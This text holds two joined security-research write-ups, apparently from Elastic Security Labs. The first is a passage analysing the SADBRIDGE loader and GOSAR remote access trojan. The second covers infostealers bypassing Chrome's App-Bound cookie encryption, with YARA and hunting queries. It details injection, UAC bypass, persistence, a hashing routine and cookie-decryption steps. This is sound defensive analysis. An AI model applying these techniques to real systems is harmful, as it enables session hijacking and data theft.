For Stage 2, SADBRIDGE injects shellcode into spoolsv.exe, or lsass.exe if spoolsv.exe is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts DevQueryBrokerPre.log into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.

DevQueryBrokerService.log

The shellcode decrypted from DevQueryBrokerService.log as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC bypass technique using the IElevatedFactorySever COM object to indirectly create the scheduled task. This task is configured to run DevQueryBroker.exe on a daily basis with SYSTEM level privileges using the task name DevQueryBrokerService.

In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from explorer.exe.

DevQueryBrokerPre.log

SADBRIDGE creates a service named DevQueryBrokerServiceSvc under the registry subkey SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc with the following attributes:

Description: Enables apps to discover devices with a background task.
DisplayName: DevQuery Background Discovery Broker Service
ErrorControl: 1
ImagePath: %systemRoot%\system32\svchost.exe -k netsvcs
ObjectName: LocalSystem
Start: 2 (auto-start)
Type: 16.
Failure Actions:
Resets failure count every 24 hours.
Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.

The service parameters specify the ServiceDll located at C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\\DevQueryBrokerService.dll. If the DLL file does not exist, it will be dropped to disk right after.

DevQueryBrokerService.dll has a similar code structure as HealthServiceRuntime.dll, which is seen in the earlier stages of the execution chain. It is responsible for decrypting DevQueryBroker.log and running it. The ServiceDll will be loaded and executed by svchost.exe when the service starts.

Additionally, it modifies the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs key to include an entry for DevQueryBrokerServiceSvc to integrate the newly created service into the group of services managed by the netsvcs service host group.

SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService and SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService.

Finally, it removes the files DevQueryBroker.exe and HealthServiceRuntime.dll in the C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker folder, as the new persistence mechanism is in place.

GOSAR Injection

In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the WTSEnumerateSessionsA API.

If sessions are found, it iterates through each session:

For each session, it attempts to retrieve the username (WTSUserName) using WTSQuerySessionInformationA. If the query fails, it moves to the next session.
If WTSUserName is not empty, the code targets svchost.exe, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.
If WTSUserName is empty but the session's WinStationName is "Services" (indicating a service session), it targets dllhost.exe instead, passing the same parameters to the final stage injection subroutine.

If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.

Logged-in sessions target svchost.exe, while service sessions or sessions without a logged-in user target dllhost.exe.

If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to S-1-16-12288 (System integrity). It then uses the elevated token to create a child process (svchost.exe or dllhost.exe) via CreateProcessAsUserA.

If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using CreateProcessA.

The encrypted shellcode C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt .log files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.

Finally, the injected shellcode decrypts DevQueryBrokerCore.log to GOSAR and runs it in the newly created process’s memory.

GOSAR Introduction

GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.

By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.

Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).

GOSAR Code Analysis Overview

Code structure of GOSAR

As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version 0.12.01

vibrant/config: Contains the configuration files for the malware.
vibrant/proto: Houses all the Google Protocol Buffers (proto) declarations.
vibrant/network: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener
vibrant/msgs/resolvers: Defines the commands handled by the malware. These commands are assigned to an object within the vibrant_msgs_init* functions.
vibrant/msgs/services: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the vibrant_network._ptr_Connection.Start function.
vibrant/logs: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.
vibrant/pkg/helpers: Contains helper functions used across various malware commands and services.
vibrant/pkg/screenshot: Handles the screenshot capture functionality on the infected system.
vibrant/pkg/utils: Includes utility functions, such as generating random values.
vibrant/pkg/native: Provides functions for calling Windows API (WINAPI) functions.

New Additions to GOSAR

Communication and information gathering

This new variant continues to use the same communication method as the original, based on TCP TLS. Upon connection, it first sends system information to the C2, with 4 new fields added:

IPAddress
AntiVirus
ClipboardSettings
Wallets

The list of AntiViruses and digital wallets are initialized in the function vibrant_pkg_helpers_init and can be found at the bottom of this document.

Services

The malware handles 3 services that are started during the initial connection of the client to the C2:

vibrant_services_KeyLogger
vibrant_services_ClipboardLogger
vibrant_services_TickWriteFile

KeyLogger

The keylogging functionality in GOSAR is implemented in the vibrant_services_KeyLogger function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with SetWindowsHookEx with the parameter WH_KEYBOARD_LL to monitor low-level keyboard events. The hook function is named vibrant_services_KeyLogger_func1.

ClipboardLogger

The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using IsClipboardFormatAvailable then retrieves it using GetClipboardData API.

TickWriteFile

Both ClipboardLogger and KeyLogger services collect data that is written by the TickWriteFile periodically to directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics) under a file of the current date, example 2024-11-27.
It can be decrypted by first subtracting the value 0x1f then xoring it with the value 0x18 as shown in the CyberChef recipe.

Networking setup

After initializing its services, the malware spawns three threads dedicated to its networking setup.

vibrant_network_ConfigFirewallRule
vibrant_network_ConfigHosts
vibrant_network_ConfigAutoListener

Threads handling networking setup

ConfigFirewallRule

The malware creates an inbound firewall rule for the ports range 51756-51776 under a Chinese name that is translated to Distributed Transaction Coordinator (LAN) it allows all programs and IP addresses inbound the description is set to :Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.

ConfigHosts

This function adds an entry to c:\Windows\System32\Drivers\etc\hosts the following 127.0.0.1 micrornetworks.com. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.

ConfigAutoListener

This functionality of the malware runs an HTTP server listener on the first available port within the range 51756-51776, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a GET request to the URI /security.js, responding with the string callback();, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later

Logs

The malware saves its runtime logs in the directory: %APPDATA%\Roaming\Microsoft\Logs under the filename formatted as: windows-update-log-.log.
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the vibrant_config function, the following is an example:

The attacker can remotely retrieve the malware's runtime logs by issuing the command ResolveGetRunLogs.

Plugins

The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: C:\ProgramData\policy-err.log. To execute a plugin, the command ResolveDoExecutePlugin is called, it first checks if a plugin is available.

It then loads a native DLL reflectively that is stored in base64 format in the binary named plugins.dll and executes its export function ExecPlugin.

ExecPlugin creates a suspended process of C:\Windows\System32\msiexec.exe with the arguments /package /quiet. It then queues Asynchronous Procedure Calls (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed.

The shellcode reads the encrypted plugin stored at C:\ProgramData\policy-err.log, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.

HVNC

The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands

ResolveHVNCCommand
ResolveGetHVNCScreen
ResolveStopHVNC
ResolveDoHVNCKeyboardEvent
ResolveDoHVNCMouseEvent

The first command that is executed is ResolveGetHVNCScreen which will first initialise it and set up a view, it uses an embedded native DLL HiddenDesktop.dll in base64 format, the DLL is reflectively loaded into memory and executed.

The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:

ExcuteCommand
DoMouseScroll
DoMouseRightClick
DoMouseMove
DoMouseLeftClick
DoKeyPress
CaptureScreen

The first export function called is Initialise to initialise a desktop with CreateDesktopA API. This HVNC implementation handles 17 commands in total that can be found in ExcuteCommand export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command ResolveHVNCCommand that will call ExcuteCommand.

| Command ID | Description | | :---- | :---- | | 0x401 | The function first disables taskbar button grouping by setting the TaskbarGlomLevel registry key to 2 under Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced. Next, it ensures the taskbar is always visible and on top by using SHAppBarMessage with the ABM_SETSTATE command, setting the state to ABS_ALWAYSONTOP. | | 0x402 | Spawns a RUN dialog box by executing the 61th export function of shell32.dll.C:\Windows\system32\rundll32.exe shell32.dll,#61 | | 0x403 | Runs an instance of powershell.exe | | 0x404 | Executes a PE file stored in C:\\ProgramData\\shell.log | | 0x405 | Runs an instance of chrome.exe | | 0x406 | Runs an instance of msedge.exe | | 0x407 | Runs an instance of firefox.exe | | 0x408 | Runs an instance of iexplore.exe | | 0x409 | Runs an instance of 360se.exe | | 0x40A | Runs an instance of 360ChromeX.exe. | | 0x40B | Runs an instance of SogouExplorer.exe | | 0x40C | Close current window | | 0x40D | Minimizes the specified window | | 0x40E | Activates the window and displays it as a maximized window | | 0x40F | Kills the process of a window | | 0x410 | Sets the clipboard | | 0x411 | Clears the Clipboard |

Screenshot

The malware loads reflectively the third and last PE DLL embedded in base64 format named Capture.dll, it has 5 export functions:

CaptureFirstScreen
CaptureNextScreen
GetBitmapInfo
GetBitmapInfoSize
SetQuality

The library is first initialized by calling resolvers_ResolveGetBitmapInfo that reflectively loads and executes its DllEntryPoint which will setup the screen capture structures using common Windows APIs like CreateCompatibleDC, CreateCompatibleBitmap and CreateDIBSection. The 2 export functions CaptureFirstScreen and CaptureNextScreen are used to capture a screenshot of the victim's desktop as a JPEG image.

Observation

Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.

It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.

New functionality

The following table provides a description of all the newly added commands:

Malware and MITRE ATT\&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigating REF3864

Detection

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

The following observables were discussed in this research:

References

The following were referenced throughout the above research:

Appendix

Hashing algorithm (SADBRIDGE)

def ror(x, n, max_bits=32) -> int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
    return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1)

def ror_13(data) -> int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)

        if byte >= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) & 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -> int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) & 0xFFFFFFFF

    return hex(result)

AV products checked in GOSAR

Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses

Mon, 28 Oct 2024 00:00:00 GMT

In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.

Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

STEALC/VIDAR
METASTEALER
PHEMEDRONE
XENOSTEALER
LUMMA

Key takeaways

Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background

Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.

The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.

A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.

Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.

Google Chrome Cookie Security

Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.

With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.

Stealer Bypass Techniques, Summarized

The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

Remote debugging via Chrome’s DevTools Protocol
Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM

STEALC/VIDAR

Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

CookieMonster" title="Signature pattern for CookieMonster" />

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

CredentialKatz::FindDllPattern" title="Calls to CredentialKatz::FindDllPattern" />

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

net::CookieMonster::~CookieMonster found in chrome.dll" title="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" />

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

CookieMonster’s vtable in chrome.dll" title="CookieMonster’s vtable in chrome.dll" />

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

CookieKatz::FindPattern to locate CookieMonster instances" title="Using CookieKatz::FindPattern to locate CookieMonster instances" />

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

CookieMap tree traversal for each CookieMonster instance found" title="Initiating CookieMap tree traversal for each CookieMonster instance found" />

For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

CookieMap traversal subroutine" title="CookieMap traversal subroutine" />

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

app_bound_encrypted_key extracted from Chrome json file" title="app_bound_encrypted_key extracted from Chrome json file" />

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

ComInvoker to invoke methods from GoogleChromeElevationService service" title="New class ComInvoker to invoke methods from GoogleChromeElevationService service" />

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

README.txt within PHEMEDRONE project" title="README.txt within PHEMEDRONE project" />

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

CreateProcessW lpApplicationName parameter" title="Dump of CreateProcessW lpApplicationName parameter" />

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

chrome.dll in Chrome" title="LUMMA seeks chrome.dll in Chrome" />

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

CookieMonster" title="Lumma pattern match on CookieMonster" />

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

9222" title="PHEMEDRONE - network connection to chrome over port 9222" />

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

YARA

Elastic Security has created YARA rules to identify this activity.

